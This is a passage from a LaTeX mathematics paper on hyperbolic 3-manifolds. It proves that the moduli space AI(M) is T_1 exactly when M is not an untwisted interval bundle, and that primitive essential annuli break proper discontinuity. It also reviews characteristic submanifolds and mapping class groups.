We say that $M(p,q)$ is obtained from $M$ by {\em
$(p,q)$-Dehn filling along $F$}.
\subsection{Hyperbolic background}
If $N=\H^3/\Gamma$ is a hyperbolic 3-manifold, then $\Gamma\subset\rm{PSL}_2({\bf C})$
acts on $\widehat{\mathbb{C}}$ as a group of conformal automorphisms. The {\em domain of discontinuity}
$\Omega(\Gamma)$ is the largest open $\Gamma$-invariant subset of $\widehat{\mathbb{C}}$ on
which $\Gamma$ acts properly discontinuously. Note that $\Omega(\Gamma)$
may be empty. Its complement $\Lambda(\Gamma)=\widehat{\mathbb{C}}-\Omega(\Gamma)$ is
called the {\em limit set.} The quotient $\partial_cN=\Omega(\Gamma)/\Gamma$
is naturally a Riemann surface called the {\em conformal boundary}.
Thurston's Hyperbolization theorem, see Morgan \cite[Theorem $B'$]{Morgan},
guarantees that if $M$ is compact and hyperbolizable, then there exists
a hyperbolic 3-manifold $N$ and a homeomorphism
$$\psi:M-\partial_TM\to N\cup\partial_cN$$
where $\partial_TM$ denotes
the collection of toroidal boundary components of $M$.
The convex core $C(N)$ of $N$ is the smallest convex submanifold
whose inclusion into $N$ is a homotopy equivalence.
More concretely, it is obtained as the quotient, by $\Gamma$, of the convex
hull, in $\H^3$, of the limit set $\Lambda(\Gamma)$.
There is a well-defined retraction $r:N\to C(N)$ obtained by taking $x$ to
the (unique) point in $C(N)$ closest to $x$. The nearest point retraction
$r$ is a homotopy equivalence and is ${1\over\cosh s}$-Lipschitz on the complement
of the neighborhood of radius $s$ of $C(N)$.
There exists a universal constant $\mu$, called the Margulis constant, such that if $\epsilon<\mu$,
then each component of the $\epsilon$-thin part
$$N_{thin(\epsilon)}=\{x\in N\ |\ {\rm inj}_N(x)<\epsilon\}$$
(where ${\rm inj}_N(x)$ denotes the injectivity radius of $N$ at $x$)
is either a metric regular neighborhood of a geodesic or is homeomorphic
to $T\times (0,\infty)$ where $T$ is either a torus or an open annulus
(see Benedetti-Petronio \cite{BP} for example).
The $\epsilon$-thick part of $N$ is defined simply to be the complement
of the $\epsilon$-thin part
$$N_{thick(\epsilon)}=N-N_{thin(\epsilon)}.$$ It is also useful to
consider the manifold $N^0_\epsilon$ obtained from $N$ by
removing the non-compact components of $N_{thin(\epsilon)}$.
If $N$ is a hyperbolic 3-manifold with finitely generated fundamental group,
then it admits a compact core, i.e. a compact submanifold whose
inclusion into $M$ is a homotopy equivalence (see Scott \cite{scott}).
More generally, if $\epsilon<\mu$, then there exists a {\em relative
compact core} $R$ for $N^0_\epsilon$, i.e. a compact core which intersects
each component of $\partial N^0_\epsilon$ in a compact core for
that component
(see Kulkarni-Shalen \cite{KS} or McCullough \cite{McC}).
Let $P=\partial R-\partial N^0_\epsilon$ and let $P^0$ denote
the interior of $P$.
The Tameness Theorem of Agol \cite{agol} and Calegari-Gabai \cite{calegari-gabai}
assures us that we may choose $R$ so that $N^0_\epsilon-R$ is homeomorphic
to $(\partial R-P^0)\times (0,\infty)$. In particular, the ends of $N^0_\epsilon$
are in one-to-one correspondence with the components of $\partial R-P^0$.
(We will blur this distinction and simply regard an end as a component
of $N^0_\epsilon-R$ once we have chosen $\epsilon$ and a relative compact
core $R$ for $N^0_\epsilon$.)
We say that an end $U$ of $N^0_\epsilon$ is {\em geometrically finite} if the intersection
of $C(N)$ with $U$ is bounded (i.e. admits a compact closure). $N$ is said
to be geometrically finite if all the ends of $N^0_\epsilon$ are geometrically finite.
Thurston \cite{thurston-notes} showed that if $M$ is a compact hyperbolizable
3-manifold whose boundary is a torus $F$, then all but finitely many
Dehn fillings of $M$ are hyperbolizable. Moreover, as the Dehn surgery
coefficients approach $\infty$, the resulting hyperbolic manifolds ``converge''
to the hyperbolic 3-manifold homeomorphic to ${\rm int}(M)$. If $M$ has other boundary
components, then there is a version of this theorem where one
begins with a geometrically finite hyperbolic 3-manifold homeomorphic to
${\rm int}(M)$ and one is allowed
to perform the Dehn filling while fixing
the conformal structure on the non-toroidal boundary components of $M$.
The proof uses the cone-manifold deformation theory developed by
Hodgson-Kerckhoff \cite{HK} in the finite volume case and extended
to the infinite volume case by Bromberg \cite{bromberg-deform}
and Brock-Bromberg \cite{brock-bromberg}.
(The first statement of a Hyperbolic Dehn Filling Theorem in the
infinite volume setting was given by Bonahon-Otal \cite{BO}, see also
Comar \cite{comar}.)
For a general statement of the Filling Theorem, and a discussion of its derivation from
the previously mentioned work, see Bromberg \cite{bromberg-PT} or
Magid \cite{magid}.
\medskip\noindent
{\bf Hyperbolic Dehn Filling Theorem:} {\em
Let $M$ be a compact, hyperbolizable $3$-manifold and let $F$ be a toroidal
boundary component of $M$.
Let $N=\H^3/\Gamma$ be a hyperbolic $3$-manifold admitting an
orientation-preserving homeomorphism
$\psi:M-\partial_TM\to N\cup\partial_cN$.
Let $\{(p_n,q_n)\}$ be an infinite sequence of distinct
pairs of relatively prime integers.
Then, for all sufficiently large $n$, there exists a (non-faithful) representation
$\beta_n:\Gamma\to {\rm PSL}_ 2({\bf C})$ with discrete image such that
\begin{enumerate}
\item $\{ \beta_n\}$ converges to the identity representation of
$\Gamma$, and
\item if $i_n: M\to M(p_n,q_n)$
denotes the inclusion map, then for each $n$, there exists an
orientation-preserving homeomorphism
$$\psi_n: M(p_n,q_n)-\partial_TM(p_n,q_n) \to N_{\beta_n}\cup\partial_cN_{\beta_n}$$
such that
$\beta_n\circ \psi_*$ is conjugate to $(\psi_n)_*\circ (i_n)_*$, and
the restriction of $\psi_n\circ i_n\circ \psi^{-1}$ to $\partial_cN$ is
conformal.
\end{enumerate}
}
\section{Points are usually closed}\label{sec:T1}
If $S$ is a closed orientable surface, we showed in \cite{CS} that
$\mathcal{AI}(S)=AH(S\times I)/{\rm Mod}_+(S)$ is not $T_1$ where ${\rm Mod}_+(S)$ is
the group of (isotopy classes of) orientation-preserving homeomorphisms of $S$. We recall that a topological space is $T_1$ if
all points are closed sets.
Since ${\rm Mod}_+(S)$ is identified with an
index two subgroup of ${\rm Out}(\pi_1(S))$, one also expects that
$AI(S\times I)=AH(S\times I)/{\rm Out}(\pi_1(S))$ is not $T_1$.
In this section,
we show that if $M$ is an untwisted interval bundle, which also includes
the case that $M$ is a handlebody, then $AI(M)$ is not $T_1$, but that
$AI(M)$ is $T_1$ for all other compact, hyperbolizable 3-manifolds.
\medskip\noindent
{\bf Theorem \ref{T1thm}.} {\em
Let $M$ be a compact hyperbolizable $3$-manifold with non-abelian fundamental group. Then the moduli space $AI(M)$ is $T_1$
if and only if $M$ is not an untwisted interval bundle.
}
\medskip
\begin{proof}
We first show that $AI(M)$ is $T_1$ if $M$ is not an untwisted interval bundle.
Let $p : AH(M) \to AI(M)$ be the quotient map and let $N$ be a hyperbolic manifold in $AI(M)$.
We must show that $p^{-1}(N)$ is a closed subset of $AH(M)$. Since $AH(M)$ is
Hausdorff and second countable, it suffices to show that if
$\{ \rho_n \}$ is a convergent sequence in $p^{-1}(N)$, then $\lim \rho_n \in p^{-1}(N)$.
An element $\rho\in p^{-1}(N)$ is a representation such that $N_\rho$ is
isometric to $N$. Let $\{\rho_n\}$ be a convergent sequence of
representations in $p^{-1}(N)$.
Let $G \subset M$ be a finite graph such that the inclusion map induces a surjection
of $\pi_1(G)$ onto $\pi_1(M)$.
Each $\rho_n $ gives rise to a homotopy equivalence $h_n:M \to N$, and hence to a map $j_n=h_n|_G : G \to N$, both of which are only well-defined up to homotopy.
Since $\{ \rho_n \}$ is convergent, there exists $K$ such that $j_n (G)$ has length at
most $K$ for all $n$, after possibly altering $h_n$ by a homotopy.
Let $R$ be a compact core for $N$.
Assume first that $R$ is not a compression body. In this case, if $S$ is any component
of $\partial R$, then the inclusion map does not induce a surjection of $\pi_1(S)$
to $\pi_1(R)$ (see the discussion in section \ref{sec:prelim}). Since $j_n (G)$ carries the fundamental group it cannot lie entirely outside of $R$. It follows that $j_n (G)$ lies in the closed neighborhood $\mathcal{N}_K(R)$
of radius $K$ about $R$. By compactness, there are only finitely many homotopy classes of maps of $G$ into $\mathcal{N}_K(R)$ with total length at most $K$.
Hence, there are only finitely many different representations among the $\rho_n$, up to conjugacy. The deformation space $AH(M)$ is Hausdorff, and the sequence
$\{ \rho_n \}$ converges, implying that $\{ \rho_n \}$ is eventually constant.
Therefore $\lim \rho_n$ lies in the preimage of $N$,
implying that the fiber $p^{-1}(N)$ is closed and that $N$ is a closed point of $AI(M)$.
Next we assume that $R$ is a compression body. If
$R$ were an untwisted interval bundle, then $M$ would also have to be a untwisted interval
bundle (by Theorems 5.2 and 10.6 in Hempel \cite{hempel}) which we have disallowed.
So $R$ must have at least one incompressible boundary component and only
one compressible boundary component $\partial_+R$.
We are free to assume that $M$ is homeomorphic to $R$,
since the definition of $AI(M)$ depends only on the homotopy
type of $M$. Let $D$ denote the union of $R$ and the component of $N-R$ bounded
by $\partial_+R$. Since the fundamental group of a component of $N-D$
never surjects onto $\pi_1(N)$, with respect to the map induced by inclusion, we
see as above that each $j_n(G)$ must intersect $D$, so is contained
in the neighborhood of radius $K$ of $D$.
Recall that there exists $\epsilon_K>0$ so that the distance from the
$\epsilon_K$-thin part of $N$ to the $\mu$-thick part of $N$ is greater
than $K$ (where $\mu$ is the Margulis constant). It follows that $j_n(G)$
must be contained in the $\epsilon_K$-thick part of $N$.
Let $F$ be an incompressible boundary component of $M$.
Then $h_n(F)$ is homotopic to an incompressible boundary component of $R$
(see, for example, the proof of Proposition 9.2.1 in \cite{CM}).
As there are finitely many possibilities, we may pass to a subsequence
so that $h_n(F)$ is homotopic to a fixed boundary component $F'$.
We may choose $G$ so that there is a proper subgraph $G_F \subset G$
such that the image of $\pi_1(G_F)$ in $\pi_1(M)$ (under the inclusion map) is
conjugate to $\pi_1(F)$.
Let \hbox{$p_F:N_F\to N$} be the covering map associated to $\pi_1(F')\subset\pi_1(N)$.
Then $j_n |_{G_F}$ lifts to a map $k_n$ of $G_F$ into $N_F$.
Assume first that $F$ is a torus. Then $k_n(G_F)$ must lie in the portion $X$ of $N_F$
with injectivity radius between $\epsilon_K$ and $K/2$, which is compact.
It follows that $j_n(G)$
must lie in the closed neighborhood of radius $K$ of $p_F(X)$.
Since $p_F(X)$ is compact, we may conclude, as in the general case,
that $\{\rho_n\}$ is eventually constant and hence that $p^{-1}(N)$ is closed.
We now suppose that $F$ has genus at least $2$. We first establish that
there exists $L$ such that $k_n(G_F)$ must be contained in a neighborhood
of radius $L$ of the convex core $C(N_F)$. It is a consequence of the
thick-thin decomposition, that if $G'$ is a graph in $N_F$ which carries
the fundamental group then $G'$ must have length at least $\mu$.
We also recall that the nearest point retraction $r_F:N_F\to C(N_F)$ is a homotopy
equivalence which is ${1\over \cosh s}$-Lipschitz on the complement
of the neighborhood of radius $s$ of $C(N)$.
Therefore, if $k_n(G_F)$ lies outside of $\mathcal{N}_s(C(N_F))$, then
$r_F(k_n(G_F))$ has length at most $K\over \cosh s$.
It follows that $k_n(G_F)$ must intersect the neighborhood of
radius $\cosh^{-1}({K\over\mu})$
of $C(N_F)$, so we may choose $L=K+\cosh^{-1}({K\over\mu})$.
If $N_F$ is geometrically
finite, then $X=C(N_F)\cap N_{thick(\epsilon_K)}$ is compact and
$j_n(G)$ must be contained in the neighborhood of radius $L+K$ of $p_F(X)$
which allows us to complete the proof as before.
If $N_F$ is not geometrically
finite, we will need to invoke the Covering Theorem to complete the proof.
Let $\tilde F$ denote
the lift of $F'$ to $N_F$. Then $\tilde F$ divides $N_F$ into two components,
one of which, say $A_-$, is mapped homeomorphically to the component of $N-R$
bounded by $F'$. Let $A_+=N_F-A_-$. We may choose a
a relative compact core $R_F$ for $(N_F)^0_\epsilon$ (for some $\epsilon<\epsilon_K$)
so that $\tilde F$
is contained in the interior of $R_F$. Since $p_F$ is infinite-to-one on each
end of $(N_F)^0_\epsilon$ which is contained in $A_+$, the Covering Theorem
(see \cite{cover} or \cite{thurston-notes})
implies that all such ends are geometrically finite. Therefore,
$$Y=A_+\cap C(N_F)\cap (N_F)_{thick(\epsilon_K)}$$
is compact.
If we let $Z=A_-\cup Y$, then we see that $k_n(G_F)$ is contained in the closed neighborhood of radius $L$ about $Z$
(since $C(N_F)\cap N_{thick(\epsilon_K)}\subset Z$).
Therefore, $j_n(G)$ is contained in the closed
$(L+K)$-neighborhood of $ D\cap p_F(Z)=D\cap p_F(Y)$.
Since $D\cap p_F(Y)$ is compact,
we conclude, exactly as in the previous cases, that $p^{-1}(N)$ is closed.
This case completes the proof that $AI(M)$ is $T_1$ if $M$ is not an untwisted
interval bundle.
\bigskip
We now deal with the case where $M=S\times I$ is an untwisted interval bundle over
a compact surface $S$. (In the special case that $M$ is a handlebody of genus 2, we choose
$S$ to be the punctured torus.) In our previous paper \cite{CS}, we consider the space
$AH(S)$ of (conjugacy classes of) discrete faithful representations
$\rho:\pi_1(S)\to \rm{PSL}_2({\bf C})$ such
that if $g\in\pi_1(S)$ is peripheral, then $\rho(g)$ is parabolic.
In Proposition 3.1, we use work of Thurston \cite{thurston2} and McMullen
\cite{mcmullen} to exhibit a sequence $\{\rho_n\}$ in $AH(S)$ which
converges to $\rho\in AH(S)$ such that $\Lambda(\rho)=\widehat{\mathbb{C}}$,
$\Lambda(\rho_1)\ne \widehat{\mathbb{C}}$ and
for all $n$ there exists $\phi_n\in {\rm Mod(S)}$
such that $\rho_n=\rho_1\circ\phi_n$. Since $AH(S)\subset AH(S\times I)$
and ${\rm Mod}(S)$ is identified with a subgroup of ${\rm Out}(\pi_1(S))$,
we see that $\{\rho_n\}$ is a sequence in $p^{-1}(N_{\rho_1})$ which converges
to a point outside of $p^{-1}(N_{\rho_1})$. Therefore, $N_{\rho_1}$ is a point
in $AI(S\times I)$ which is not closed.
\end{proof}
\medskip\noindent
{\bf Remark:} One may further show,
as in the remark after Proposition 3.1 in \cite{CS},
that if $N\in AI(S\times I)$ is a degenerate hyperbolic
3-manifold with a lower bound on its injectivity radius, then $N$ is not a closed
point in $AI(S\times I)$. We recall that $N=\H^3/\Gamma$ is degenerate if
$\Omega(\Gamma)$ is connected and simply connected and $\Gamma$ is
finitely generated.
\section{Primitive essential annuli and the failure of proper discontinuity}
In this section, we show that
if $M$ contains a primitive essential annulus, then ${\rm Out}(\pi_1(M))$ does
not act properly discontinuously on $AH(M)$.
We do so by using the Hyperbolic Dehn Filling Theorem to produce
a convergent sequence $\{\rho_n\}$ in $AH(M)$ and a sequence $\{\phi_n\}$ of
distinct element of ${\rm Out}(\pi_1(M))$ such that that $\{\rho_n\circ \phi_n\}$ is also convergent.
The construction is a generalization of a construction of Kerckhoff-Thurston
\cite{KT}. One may also think of the argument as a simple version of the
``wrapping'' construction (see Anderson-Canary \cite{ACpages})
which was also used to show that components of ${\rm int}(AH(M))$
self-bump whenever $M$ contains a primitive essential annulus
(see McMullen \cite{mcmullenCE} and Bromberg-Holt \cite{BH}).
\medskip\noindent
{\bf Theorem \ref{prop:!T2}.} {\em
Let $M$ be a compact hyperbolizable $3$-manifold with non-abelian
fundamental group.
If $M$ contains a primitive essential annulus then ${\rm Out}(\pi_1(M))$
does not act properly discontinuously on $AH(M)$. Moreover,
if $M$ contains a primitive essential annulus, then
$AI(M)$ is not Hausdorff.
}
\begin{proof}
Let $A$ be a primitive essential annulus in $M$ with core curve $\alpha$.
Let $\hat{M} = M - \mathcal{N}(\alpha)$ where $\mathcal{N}(\alpha)$ is an open
regular neighborhood of $\alpha$. Lemma 10.2 in \cite{ACM} observes
that $\hat M$ is hyperbolizable. Since $\hat M$ is hyperbolizable, Thurston's
Hyperbolization Theorem implies that there
exists a hyperbolic manifold $\hat N$ and a homeomorphism
$\psi:\hat{M}-\partial_T\hat{M}\to \hat{N}\cup\partial_c\hat{N}$.
The classical deformation theory of Kleinian groups (see Bers \cite{bers-survey} or \cite{CM}) implies
that we may choose any conformal structure on $\partial_c\hat N$.
Let $A_0$ and $A_1$ denote the components of $A\cap\hat M$. Let $M_i$
be the complement in $\hat M$ of a regular neighborhood of $A_i$.
Let $h_i: M \to \hat{M}$ be an embedding with image $M_i$ which
agrees with the identity map off of a (somewhat larger) regular neighborhood of $A$.
Let $F$ be the toroidal boundary component of $\hat M$ which is
the boundary of $\mathcal{N}(\alpha)$ in $M$. Choose a meridian-longitude
system for $F$ so that the meridian for $F$ bounds a disk in $M$ and the longitude is
isotopic to $A_1\cap F$.
Lemma 10.3 in \cite{ACM} implies that if $i_n:\hat M\to \hat M(1,n)$ is
the inclusion map, then $i_n\circ h_i:M\to \hat M(1,n)$ is homotopic to a
homeomorphism for each $i=1,2$ and all $n\in{\Bbb Z}$. Moreover,
we may similarly check that $i_n\circ h_1$ is homotopic to $i_n\circ h_0\circ D_A^n$ for all $n$,
where $D_A$ denotes a Dehn twist along $A$. Notice first that $j_n=D_{A_0}^n$ takes
a $(1,0)$-curve on $F$ to a $(1,n)$-curve on $F$, so extends to a homeomorphism
$j_n:M=\hat{M}(1,0)\to\hat{M}(1,n)$. Therefore, since $i_0\circ h_0$ and $i_0\circ h_1$
are homotopic, so are $j_n\circ i_0\circ h_0$ and $j_n\circ i_0\circ h_1$. But,
$j_n\circ i_0\circ h_0$ is homotopic to $i_n\circ h_0\circ D_A^n$ and $j_n\circ i_0\circ h_1=i_n\circ h_1$, which completes the proof that
$i_n\circ h_1$ is homotopic to $i_n\circ h_0\circ D_A^n$ for all $n$.
Let $\rho_0 = (\psi \circ h_0)_*$ and $\rho_1 = (\psi \circ h_1)_*$.
Since $(h_i)_*$ induces an injection of $\pi_1(M)$ into $\pi_1(\hat M)$,
$\rho_i\in AH(M)$. We next observe that one can choose
$\hat N$ so that
$N_{\rho_0}$ and $N_{\rho_1}$ are not isometric.
Let $a_i=A_i\cap(\partial M- \partial_T \hat{M})$ and let $a_i^*$ denote the geodesic representative
of $\psi(a_i)$ in $\partial_c\hat N$.
Notice that for each $i=0,1$ there
is a conformal embedding of $\partial_c\hat{N}-a_i^*$ into $\partial_cN_{\rho_i}$ such that
each component of the complement of the image of $\partial_c\hat{N}-a_i^*$ is a neighborhood
of a cusp. One may
therefore choose the conformal structure on $\partial_c\hat{N}$ so that
there is not a conformal homeomorphism from
$\partial_cN_{\rho_0}$ to $\partial_cN_{\rho_1}$.
Therefore, $N_{\rho_0}$ and $N_{\rho_1}$ are not isometric.
Let $\{N_n=N_{\beta_n}\}$ be the sequence of hyperbolic 3-manifolds provided by the
Hyperbolic Dehn Filling Theorem applied to the sequence $\{(1,n)\}_{n\in{\Bbb Z}_+}$ and
let $\{\psi_n: \hat M(1,n)-\partial_T\hat M(1,n)\to N_n\cup\partial_cN_n\}$ be
the homeomorphisms such that $\psi_n\circ i_n\circ \psi^{-1}$ is conformal
on $\partial_cN$.
Let
$$\rho_{n,i}=\beta_n\circ\rho_i$$
for all $n$ large enough that $N_n$ and $\psi_n$ exist.
Since $\beta_n\circ \psi_*$ is conjugate to $(\psi_n\circ i_n)_*$
(by applying part (2) of the Hyperbolic Dehn Filling Theorem) and
$i_n\circ h_i$ is homotopic to a homeomorphism, we
see that $\rho_{n,i}=(\psi_n\circ i_n\circ h_i)_*$ lies in $AH(M)$ for all $n$ and each $i$.
It follows from part (1) of the Hyperbolic Dehn Filling Theorem
that $\{\rho_{n,i}\}$ converges to $\rho_i$ for each $i$.
Moreover, $\rho_{n,1} = \rho_{n,0} \circ (D_A)_*^n$ for all $n$,
since $i_n\circ h_1$ is homotopic to $i_n\circ h_0\circ D_A^n$ for all $n$.
Therefore, ${\rm Out}(\pi_1(M))$ does not act properly discontinuously on $AH(M)$.
Moreover, $\{\rho_{n,0}\}$ and $\{\rho_{n,1}\}$ project to the same sequence in $AI(M)$
and both $N_{\rho_0}$ and $N_{\rho_1}$ are limits of this sequence.
Since $N_{\rho_0}$ and $N_{\rho_1}$ are distinct manifolds in $AI(M)$,
it follows that $AI(M)$ is not Hausdorff.
\end{proof}
\noindent {\bf Remark:}
One can also establish Theorem \ref{prop:!T2} using deformation
theory of Kleinian groups and convergence results of Thurston
\cite{thurston3}. This version of the argument follows the same
outline as the proof of Proposition 3.3 in \cite{CS}.
We provide a brief sketch of this argument.
The classical deformation theory
of Kleinian groups (in combination with Thurston's Hyperbolization
Theorem) guarantees that there exists a component $B$ of ${\rm int}(AH(M))$
such that if $\rho\in B$, then there exists a homeomorphism
$\bar h_\rho:M-\partial_TM\to N_\rho\cup\partial_c N_\rho$ and the point
$\rho$ is determined by the induced conformal structure on $\partial M-\partial_TM$.
Moreover, every possible
conformal structure on $\partial M-\partial_TM$ arises in this manner.
Let $a_0$ and $a_1$ denote the components of $\partial A$ and let
$t_{a_0}$ and $t_{a_1}$ denote Dehn twists about $a_0$ and $a_1$
respectively. We choose orientations so that $D_A$ induces
$t_{a_0}\circ t_{a_1}$ on $\partial M$. We then let $\rho_{n,0}\in B$
have associated conformal structure $t_{a_1}^n(X)$ and let
$\rho_{n,1}$ have associated conformal structure $t_{a_0}^{-n}(X)$
for some conformal structure $X$ on $\partial M$.
Thurston's convergence results \cite{thurston2,thurston3} can be used to show
that there exists a subsequence $\{ n_j\}$
of ${\Bbb Z}$ such that $\{\rho_{n_j,0}\}$ and $\{\rho_{n_j,1}\}$ both converge. One
can guarantee, roughly as above, that the limiting hyperbolic manifolds are
not isometric. Moreover, $\rho_{n,1}=\rho_{n,0}\circ (D_A)_*^n$ for all $n$,
so we are the same situation as in the proof above.
\section{The characteristic submanifold and mapping class groups}\label{sec:mod}
In order to further analyze the case where $M$ has incompressible boundary
we will make use of the characteristic submanifold (developed by Jaco-Shalen \cite{JS} and Johannson \cite{johannson}) and the theory of mapping class groups
of 3-manifolds
developed by Johannson \cite{johannson} and extended by
McCullough and his co-authors \cite{VGF,UGF,CM}.
We begin by recalling the definition of the characteristic submanifold,
specialized to the hyperbolic setting. In the general setting, the components
of the characteristic submanifold are interval bundles and Seifert fibred spaces.
In the hyperbolic setting, the only Seifert fibred spaces which occur are
the solid torus and the thickened torus
(see Morgan \cite[Sec. 11]{Morgan} or Canary-McCullough
\cite[Chap. 5]{CM}).
\begin{theorem}
\label{charprop}
Let $M$ be a compact oriented hyperbolizable $3$-manifold with incompressible boundary. There exists a codimension zero submanifold
\hbox{$\Sigma(M) \subseteq M$} with frontier $Fr(\Sigma(M)) = \overline{\partial \Sigma(M) - \partial M}$ satisfying the following properties:
\begin{enumerate}
\item Each component $\Sigma_i$ of $\Sigma(M)$ is
either
\subitem(i)
an interval bundle over a compact surface with negative
Euler characteristic which intersects $\partial M$ in its associated $\partial I$-bundle,
\subitem(ii) a thickened torus such that $\partial M\cap \Sigma_i$ contains a
torus, or
\subitem(iii) a solid torus.
\item The frontier $Fr(\Sigma(M))$ is a collection of essential annuli.
\item Any essential annulus or incompressible torus in $M$
is properly isotopic into $\Sigma(M)$.
\item
If $X$ is a component of $M-\Sigma(M)$, then either $\pi_1(X)$ is non-abelian
or $(\overline{X}, Fr(X))\cong (S^1\times [0,1]\times [0,1], S^1\times [0,1]\times \{0,1\}) $
and $X$ lies between an interval bundle component of
$\Sigma(M)$ and a thickened or solid torus component of $\Sigma(M)$.
\end{enumerate}
\noindent Moreover, such a $\Sigma(M)$ is unique up to isotopy, and is called the
{\em characteristic submanifold} of $M$.
\end{theorem}
The existence and the uniqueness of the characteristic submanifold in general follows from The
Characteristic Pair Theorem in \cite{JS} or Proposition 9.4 and Corollary 10.9
in \cite{johannson}.
Theorem \ref{charprop}(1) follows from \cite[Theorem 5.3.4]{CM}, part (2) follows from (1)
and the definition of the characteristic submanifold, part (3) follows
from \cite[Theorem 12.5]{johannson}, and part (4) follows from \cite[Theorem 2.9.3]{CM}.
Johannson's Classification Theorem \cite{johannson} asserts
that every homotopy equivalence between compact, irreducible
3-manifolds with incompressible boundary
may be homotoped so that it
preserves the characteristic submanifold and is a homeomorphism on
its complement. Therefore, the study of ${\rm Out}(\pi_1(M))$ often
reduces to the study of mapping class groups of interval bundles and
Seifert-fibered spaces.
\medskip\noindent
{\bf Johannson's Classification Theorem \cite[Theorem 24.2]{johannson}.}
{\em Let $M$ and $Q$ be irreducible 3-manifolds with incompressible boundary
and let $h:M\to Q$ be a homotopy equivalence. Then $h$ is homotopic to a map
$g:M\to Q$ such that
\begin{enumerate}
\item
$g^{-1}(\Sigma(Q))=\Sigma(M)$,
\item
$g|_{\Sigma(M)}:\Sigma(M)\to \Sigma(Q)$ is a homotopy equivalence,
and
\item
$g|_{\overline{M-\Sigma(M)}}:\overline{M-\Sigma(M)}\to \overline{Q-\Sigma(Q)}$ is
a homeomorphism.
\end{enumerate}
Moreover, if $h$ is a homeomorphism, then $g$ is a homeomorphim.
}
\medskip
We let the mapping class group ${\rm Mod}(M)$ denote the group of isotopy classes of
self-homeomorphisms of $M$. Since $M$ is irreducible and has (non-empty) incompressible boundary, any two homotopic homeomorphisms are isotopic
(see Waldhausen \cite[Theorem 7.1]{Wald}),
so ${\rm Mod}(M)$ is naturally a subgroup of ${\rm Out}(\pi_1(M))$.
For simplicity,
we will assume that $M$ is a compact hyperbolizable 3-manifold with incompressible
boundary and no toroidal boundary components.
Notice that this implies that $\Sigma(M)$
contains no thickened torus components.
Let $\Sigma$ be the characteristic submanifold of $M$ and denote its components
by $\{\Sigma_1,\ldots,\Sigma_k\}$.
Following McCullough \cite{VGF},
we let ${\rm Mod}(\Sigma_i,Fr(\Sigma_i))$ denote the group of homotopy classes
of homeomorphisms $h:\Sigma_i\to\Sigma_i$ such that $h(F)=F$ for each
component $F$ of $Fr(\Sigma_i)$. We let $G(\Sigma_i,Fr(\Sigma_i))$ denote
the subgroup consisting of (homotopy classes of)
homeomorphisms which have representatives which are the identity on $Fr(\Sigma_i)$.
Define
$G(\Sigma, Fr(\Sigma))=\oplus_{i=1}^k G(\Sigma_i,Fr(\Sigma_i))$. Notice that
using these definitions, the restriction of a Dehn twist along a component of $Fr(\Sigma)$ is trivial in $G(\Sigma, Fr(\Sigma))$.
In our case, each $\Sigma_i$ is either an interval bundle over a compact surface $F_i$
with negative Euler characteristic or a solid torus.
If $\Sigma_i$ is a solid torus, then $G(\Sigma_i,Fr(\Sigma_i))$ is finite
(see Lemma 10.3.2 in \cite{CM}).
If $\Sigma_i$ is an interval bundle over a compact surface $F_i$, then $G(\Sigma_i,Fr(\Sigma_i))$ is isomorphic to the group $G(F_i,\partial F_i)$ of
proper isotopy classes of self-homeomorphisms of $F$ which are the identity
on $\partial F$ (see Proposition 3.2.1 in \cite{VGF} and Lemma 6.1 in \cite{UGF}).
Moreover, $G(\Sigma_i,Fr(\Sigma_i))$ injects into ${\rm Out}(\pi_1(\Sigma_i))$
(see Proposition 5.2.3 in \cite{CM} for example).
We say that $\Sigma_i$ is {\em tiny} if its base surface $F_i$ is either a thrice-punctured
sphere or a twice-punctured projective plane. If $\Sigma_i$ is not tiny, then
$F_i$ contains a 2-sided, non-peripheral homotopically non-trivial simple
closed curve, so $G(\Sigma_i,Fr(\Sigma_i))$ is infinite. If $\Sigma_i$ is tiny,
then $G(\Sigma_i,Fr(\Sigma_i))$ is finite (see Korkmaz \cite{korkmaz} for
the case when $F_i$ is a twice-punctured projective plane).
Let $J(M)$ be the subgroup of ${\rm Mod}(M)$ consisting
of classes represented by homeomorphisms fixing $M-\Sigma$ pointwise.
Lemma 4.2.1 of McCullough \cite{VGF} implies
that $J(M)$ has finite index in ${\rm Mod}(M)$.
(Instead of $J(M)$, McCullough writes
$\mathcal{K}(M, \Sigma_1, \Sigma_2, \ldots, \Sigma_k)$.)
Lemma 4.2.2 of McCullough
\cite{VGF} implies that the kernel $K(M)$ of the natural surjective homomorphism
$$p_\Sigma: J(M) \to G(\Sigma, Fr(\Sigma))$$
is abelian and is generated by Dehn twists about the annuli in $Fr(\Sigma)$.
We summarize the discussion above in the following statement.
\begin{theorem}
\label{Jstructure}
Let $M$ be a compact hyperbolizable 3-manifold with incompressible
boundary and no toroidal boundary components. Then there is
a finite index subgroup $J(M)$ of ${\rm Mod}(M)$ and an exact sequence
$$1\longrightarrow K(M) \longrightarrow J(M)\overset{p_\Sigma}\longrightarrow G(\Sigma, Fr(\Sigma))
\longrightarrow 1$$
such that $K(M)$ is an abelian group generated by Dehn twists about
essential annuli in $Fr(\Sigma)$.
Suppose that $\Sigma_i$ is a component of $\Sigma(M)$.
If $\Sigma_i$ is a solid torus or a tiny
interval bundle, then $G(\Sigma_i,Fr(\Sigma_i))$ is finite. Otherwise,
$G(\Sigma_i,Fr(\Sigma_i))$ is infinite and injects into ${\rm Out}(\pi_1(\Sigma_i))$.
\end{theorem}
\section{Characteristic collections of annuli}
We continue to assume that $M$ has incompressible boundary
and no toroidal boundary components and that $\Sigma(M)$
is its characteristic submanifold. In this section, we organize $K(M)$ into
subgroups generated by collections of annuli with homotopic core curves,
called characteristic collection of annuli,
and define a class of free subgroups of $\pi_1(M)$ which ``register''
these subgroups of $K(M)$.
A {\em characteristic collection of annuli} for $M$ is either a) the collection
of all frontier annuli in a solid torus component of $\Sigma(M)$, or b)
an annulus in the frontier of an interval bundle component of $\Sigma(M)$ which
is not properly isotopic to a frontier annulus of a solid torus component of
$\Sigma(M)$.
If $C_j$ is a characteristic collection of annuli for $M$,
let $K_j$ be the subgroup of $K(M)$ generated by Dehn twists
about the annuli in $C_j$. Notice that $K_i\cap K_j=\{ id\}$ for $i\ne j$,
since each element of $K_j$ fixes any curve disjoint from $C_j$.
Then $K(M)=\oplus_{j=1}^mK_j$, since every frontier
annulus of $\Sigma(M)$ is properly isotopic to a component of some
characteristic collection of annuli.
Let $q_j:K(M)\to K_j$ be the projection map.
We next introduce free subgroups of $\pi_1(M)$, called $C_j$-registering subgroups, which are preserved by
$K_j$ and such that $K_j$ acts effectively on the subgroup.
We first suppose that $C_j=Fr(T_j)$ where $T_j$ is
